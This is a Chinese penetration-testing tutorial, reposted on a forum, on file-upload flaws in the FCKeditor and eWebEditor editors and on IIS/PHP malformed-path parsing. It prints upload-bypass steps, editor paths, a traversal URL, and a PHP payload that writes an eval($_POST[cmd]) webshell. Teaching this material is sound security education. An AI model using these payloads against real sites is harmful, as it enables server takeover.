搜索

[21554] 2020-12-30_[网络安全]十四、文件上传漏洞（3）、编辑器漏洞和IIS高版本漏洞及防御

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-12-30_[网络安全]十四、文件上传漏洞（3）、编辑器漏洞和IIS高版本漏洞及防御 [ 网 络 安 全 ]   十 四 、 文 件 上 传 漏 洞 （ 3 ） 、 编 辑 器 漏 洞 和 I I S 高 版 本 漏 洞 及 防 御 E a s t m o u n t   L e m o n S e c   2 0 2 0 - 1 2 - 3 0 前 文 分 享 （ 下 面 的 超 链 接 可 以 点 击 喔 ） ： [ 网 络 安 全 ]   一 . W e b 渗 透 入 门 基 础 与 安 全 术 语 普 及 [ 网 络 安 全 ]   二 . W e b 渗 透 信 息 收 集 之 域 名 、 端 口 、 服 务 、 指 纹 、 旁 站 、 C D N 和 敏 感 信 息 [ 网 络 安 全 ]   三 . 社 会 工 程 学 那 些 事 及 I P 物 理 定 位 [ 网 络 安 全 ]   四 . 手 工 S Q L 注 入 和 S Q L M A P 入 门 基 础 及 案 例 详 解 [ 网 络 安 全 ]   五 . X S S 跨 站 脚 本 攻 击 详 解 及 分 类 - 1 [ 网 络 安 全 ]   六 . X S S 跨 站 脚 本 攻 击 靶 场 案 例 九 题 及 防 御 方 法 - 2 [ 网 络 安 全 ]   七 . B u r p   S u i t e 工 具 安 装 配 置 、 P r o x y 基 础 用 法 及 暴 库 入 门 示 例 [ 网 络 安 全 ]   八 . W e b 漏 洞 及 端 口 扫 描 之 Z e N m a p 、 T h r e a t S c a n 和 D i r B u s t e r 工 具 [ 网 络 安 全 ]   九 . W i r e s h a r k 安 装 入 门 及 抓 取 网 站 用 户 名 密 码 - 1 [ 网 络 安 全 ]   十 . W i r e s h a r k 抓 包 原 理 、 A R P 劫 持 、 M A C 泛 洪 及 数 据 流 追 踪 - 2 [ 网 络 安 全 ]   十 一 . S h o d a n 搜 索 引 擎 详 解 及 P y t h o n 命 令 行 调 用 [ 网 络 安 全 ]   十 二 . 文 件 上 传 漏 洞   ( 1 ) 基 础 原 理 及 C a i d a o 入 门 知 识 [ 网 络 安 全 ]   十 三 . 文 件 上 传 漏 洞   ( 2 ) 常 用 绕 过 方 法 及 I I S 6 . 0 解 析 漏 洞 文 章 目 录 一 . 编 辑 器 漏 洞 1 . 编 辑 器 2 . F C K e d i t o r 编 辑 器 漏 洞 利 用 3 . e W e b E d i t o r 编 辑 器 漏 洞 二 . I I S 高 版 本 上 传 1 . 畸 形 解 析 漏 洞 2 . 案 例 分 析 3 . a s p x 漏 洞 三 . 总 结
一 . 编 辑 器 漏 洞 1 . 编 辑 器 编 辑 器 属 于 第 三 方 软 件 ， 它 的 作 用 是 方 便 网 站 管 理 员 上 传 或 编 辑 网 站 上 的 内 容 ， 类 似 我 们 电 脑 上 的 W o r d 文 档 。 编 辑 器 通 常 分 为 两 种 情 况 ： ( 1 )   不 需 要 后 台 验 证 ， 可 以 直 接 在 前 台 访 问 且 操 作 。 通 过 方 法 找 到 编 辑 器 ， 再 进 行 目 录 爆 破 目 录 爆 破 （ 用 御 剑 去 扫 描 网 站 的 目 录 ） 和 蜘 蛛 爬 行 蜘 蛛 爬 行 （ A W S 扫 描 器 去 判 断 是 否 存 在 网 站 编 辑 器 ） 。 通 常 ， 存 在   w w w . x x x . c o m / e d i t   或   w w w . x x x . c o m / u p l o a d f i l e s   的 域 名 ， 很 可 能 会 存 在 编 辑 器 。 ( 2 )   需 要 后 台 验 证 ， 才 能 操 作 编 辑 器 。 先 通 过 漏 洞 或 其 他 方 法 登 录 后 台 。 常 用 编 辑 器 包 括 ： F C K e d i t o r E W E b e d i t o r C K F i n d e r U E D I T O R D o t N e t   T e x t B o x C u t e   E d i t o r 其 中 ， 用 的 次 数 较 多 的 两 种 编 辑 器 是 F C K 和 e W E B ， 本 篇 博 客 将 用 这 两 种 编 辑 器 作 演 示 。 2 . F C K e d i t o r 编 辑 器 漏 洞 利 用 F C K e d i t o r 常 见 上 传 目 录 ： F C K e d i t o r / e d i t o r / f i l e m a n a g e r / b r o w s e r / d e f a u l t / c o n n e c t o r s / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / u p l o a d / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / t e s t . h t m l F C K e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / u p l o a d t e s t . h t m l ( 1 )   F C K 编 辑 器 漏 洞 编 辑 器 漏 洞   — —   “ . ”   变 变   “ _ ”   绕 过 方 法 绕 过 方 法
在 高 版 本 f c k 中 ， 直 接 上 传 或 抓 包 修 改 文 件 名 “ a . a s p ; . j p g ” ， 都 会 将 前 面 的 点 变 成 下 划 线 ， 也 就 是 变 成 “ a _ a s p ; . j p g ” ， 这 样 我 们 的 文 件 名 解 析 就 无 效 果 了 。 绕 过 方 法 是 突 破 建 立 文 件 夹 ， 其 实 质 是 利 用 我 们 I I S 6 . 0 的 目 录 解 析 （ 参 考 前 文 ） 。 编 辑 器 漏 洞 利 用 常 见 步 骤 如 下 ： 找 到 编 辑 器 。 可 以 通 过 编 辑 器 路 径 的 文 件 名 来 判 断 是 什 么 编 辑 器 。 确 认 版 本 。 搜 索 该 版 本 编 辑 器 的 漏 洞 利 用 。 假 设 路 径 为 “ / f c k e d i t o r / e d i t o r / f i l e m a n a g e r / c o n n e c t o r s / t e s t . h t m l ” ， 文 件 名 中 包 含 “ f c k ” ， 可 以 直 接 判 定 为 F C K 编 辑 器 。 打 开 如 下 图 所 示 ： 在 F C K e d i t o r 中 选 中 “ a . a s p ; . p n g ” 并 成 功 上 传 ， 如 下 图 所 示 。 打 开 服 务 器 ， 可 以 看 到 成 功 上 传 的 图 片 文 件 。 它 名 字 被 修 改 为 “ a _ a s p ; . p n g ” ， 这 就 是 F C K 高 版 本 的 过 滤 ， 它 将 “ . ” 修 改 为 “ _ ” 。 ( 2 )   F C K 编 辑 器 还 有 一 个 突 破 文 件 上 传 漏 洞 编 辑 器 还 有 一 个 突 破 文 件 上 传 漏 洞 它 是 利 用 I I S 6 的 目 录 解 析 漏 洞 ， 我 们 先 建 立 一 个 “ a . a s p ” 文 件 夹 ， 然 后 上 传 图 片 一 句 话 木 马 “ a _ a s p ; . p n g ” ， I I S 6 目 录 解 析 漏 洞 会 将 “ a . a s p ” 目 录 下 的 文 件 都 解 析 成 a s p 文 件 去 执 行 。
第 一 步 ， 打 开 F C K 编 辑 器 并 在 “ a . a s p ” 目 录 下 上 传 一 个 “ b . a s p ” 文 件 夹 。 注 意 ， 在 “ C u r r e n t   F o l d e r ” 中 需 要 填 写 “ / a . a s p ” 。 第 二 步 ， 打 开 B u r p S u i t e 软 件 抓 包 。 可 以 看 到 ， 我 们 在 a . a s p 目 录 下 创 建 了 “ b _ a s p ” 文 件 夹 ， 这 是 因 为 “ . ” 被 F C K 漏 洞 替 换 成 了 “ _ ” 。 第 三 步 ， 这 样 “ a . a s p ” 文 件 夹 就 被 成 功 创 建 ， 接 着 将 一 句 话 木 马 上 传 至 该 文 件 夹 中 。
上 传 之 后 如 下 图 所 示 ： 当 一 句 话 木 马 上 传 成 功 之 后 ， 我 们 就 可 以 成 功 利 用 C a i d a o 进 行 W e b s h e l l 目 录 获 取 了 。 最 后 补 充 一 个 F C K 编 辑 器 漏 洞 综 合 利 用 工 具 ： h t t p s : / / w w w . w e b s h e l l . c c / 4 4 7 9 . h t m l 3 . e W e b E d i t o r 编 辑 器 漏 洞 e W e b E d i t o r 编 辑 器 漏 洞 利 用 的 基 本 流 程 如 下 ： ( 1 )   进 后 台 e W e b 编 辑 器 需 要 登 录 后 台 ， 其 默 认 数 据 库 地 址 是 ： e w e b e d i t o r / d b / e w e b e d i t o r . m d b ( 2 )   e w e b 遍 历 漏 洞 利 用 该 漏 洞 遍 历 文 件 目 录 、 查 看 整 个 网 站 结 构 及 敏 感 信 息 e w e b e d i t o r / a d m i n _ u p l o a d f i l e . a s p ? i d = 1 4 & d i r = . / ( 3 )   修 改 样 式 表 上 传 文 件 如 下 图 所 示 ， 这 里 选 择 某 个 样 式 表 进 行 设 置 。
然 后 在 图 片 类 型 中 ， 增 加 “ a s a ” 类 型 。 “ . a s a ” 可 以 被 当 成 “ . a s p ” 文 件 去 执 行 ， 而 网 站 可 能 会 过 滤 “ a s p ” 类 型 的 后 缀 ， 所 以 这 里 添 加 “ . a s a ” 。 打 开 “ 工 具 栏 ” ， 显 示 如 下 图 所 示 ： 点 击 “ 按 钮 设 置 ” ， 准 备 添 加 按 钮 。 选 择 “ 插 入 或 修 改 图 片 ” ， 然 后 “ 保 存 设 置 ” 。
此 时 返 回 页 面 ， 点 击 “ 预 览 ” 可 以 看 到 我 们 已 经 添 加 的 “ 插 入 或 修 改 图 片 ” 按 钮 。 然 后 直 接 上 传 “ 1 . a s a ” 文 件 ， 如 下 图 所 示 。 然 后 点 击 代 码 ， 可 以 看 到 这 是 一 个 木 马 的 文 件 路 径 。
所 以 ， 编 辑 器 其 实 就 是 一 个 上 传 点 ， 通 过 解 析 漏 洞 或 多 种 文 件 上 传 漏 洞 可 以 实 现 绕 过 并 上 传 一 句 话 木 马 ， 从 而 提 权 。 二 . I I S 高 版 本 上 传 I I S 6 . 0 毕 竟 是 一 个 低 版 本 ， 除 了 靶 场 和 僵 尸 站 很 少 能 够 遇 到 。 真 实 的 渗 透 中 ， 会 遇 到 很 多 的 问 题 ， 比 如 W A F 、 高 版 本 过 滤 、 安 全 狗 、 被 拦 截 绕 过 、 不 解 析 等 等 。 接 下 来 分 享 一 个 I I S 高 版 本 上 传 思 路 。 1 . 畸 形 解 析 漏 洞 畸 形 解 析 漏 洞 影 响 版 本 ： I I S 7 、 I I S 7 . 5 、 N g i n x < 0 . 8 . 0 3 漏 洞 产 生 条 件 是 开 启 F a s t - C G I 或 p h p 配 置 文 件 中 c g i . f i x _ p a t h i n f o 其 漏 洞 不 是 I I S 本 身 的 问 题 ， 而 是 P H P 配 置 不 当 造 成 的 问 题 ， 根 本 原 因 是 开 启 了 c g i . f i x _ p a t h i n f o 选 项 。 由 于 该 漏 洞 是 p h p 配 置 造 成 ， 并 且 默 认 开 启 该 功 能 ， 所 以 它 影 响 了 I I S 7 、 I I S 7 . 5 、 I I S 8 . 5 等 多 个 版 本 ， 凡 是 I I S + P H P 都 有 可 能 会 有 这 个 漏 洞 。 漏 洞 利 用 方 法 ： 当 我 们 上 传 一 张 名 为 “ 1 . j p g ” 的 图 片 文 件 ， 并 且 这 张 图 片 文 件 里 包 含 以 下 代 码 。 1 那 么 它 会 生 成 一 个 叫 s h e l l . p h p 的 脚 本 文 件 ， 并 写 入 我 们 的 一 句 话 ， 密 码 为 c m d 。 而 一 句 话 的 位 置 是 ： 上 传 的 图 片 文 件 名 字 “ / s h e l l . p h p ” 。 如 果 图 片 没 有 被 改 名 ， 那 么 现 在 我 们 的 一 句 话 文 件 在 “ 1 . j p g / s h e l l . p h p ” 中 。 2 . 案 例 分 析 假 设 我 们 向 I I S + P H P 搭 建 的 远 程 服 务 器 上 传 “ 1 . j p g ” 文 件 。 开 启 服 务 器 如 下 图 所 示 ： < ? p h p   f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ;   ? >
“ 1 . j p g ” 代 码 包 含 如 下 代 码   ， 它 能 显 示 P H P 配 置 信 息 。 1 通 过 U R L 能 够 访 问 P H P 的 版 本 信 息 ， 如 下 图 所 示 。 该 U R L 运 行 了 我 们 的 P H P 代 码 ， 所 以 才 返 回 相 应 的 配 置 信 息 。 在 U R L （ 4 9 . 2 3 4 . 1 2 . 7 8 / 1 . j p g / . p h p ） 中 ， 首 先 访 问 “ . p h p ” 文 件 ， 它 是 不 存 在 的 ， 所 以 跳 到 前 面 的 “ 1 . j p g ” 位 置 ， 而 “ 1 . j p g ” 是 存 在 的 并 且 包 含 p h p 代 码 ， 就 会 把 它 当 成 p h p 文 件 去 执 行 ， 并 获 取 P H P 配 置 信 息 。 为 什 么 为 什 么 I I S 高 版 本 会 存 在 这 个 漏 洞 呢 ？ 高 版 本 会 存 在 这 个 漏 洞 呢 ？ 这 是 因 为 I I S 高 版 本 在 搭 建 p h p 网 站 的 时 候 ， 它 会 开 启 C G I / F a s t C G I ， 并 且 p h p 配 置 文 件 选 项 默 认 开 启 。 所 以 ， 该 畸 形 解 析 漏 洞 不 光 存 在 于 I I S 7 、 I I S 7 . 5 ， 还 有 I I S 8 、 I I S 1 0 等 版 本 。 接 着 我 们 演 示 另 一 个 代 码 ， 将 “ 1 . j p g ” 内 容 修 改 如 下 ， 直 接 写 入 s h e l l 。 1 < ? p h p   p h p i n f o ( ) ;   ? > < ? p h p   f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ;   ? >
访 问 “ / 1 . j p g / s h e l l . p h p ” 显 示 的 内 容 为 空 。 但 是 此 时 会 在 服 务 器 生 成 一 个 名 为 “ s h e l l . p h p ” 的 文 件 ， 如 下 图 所 示 ： 并 且 “ s h e l l . p h p ” 包 含 了 我 们 的 一 句 话 木 马 。 这 样 通 过 C a i d a o 即 可 访 问 该 页 面 ， 并 获 取 服 务 器 的 文 件 目 录 。 3 . a s p x 漏 洞 a s p x 它 有 一 个 “ w e b . c o n f i g ” 的 配 置 文 件 ， 它 规 定 我 们 上 传 文 件 的 后 缀 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理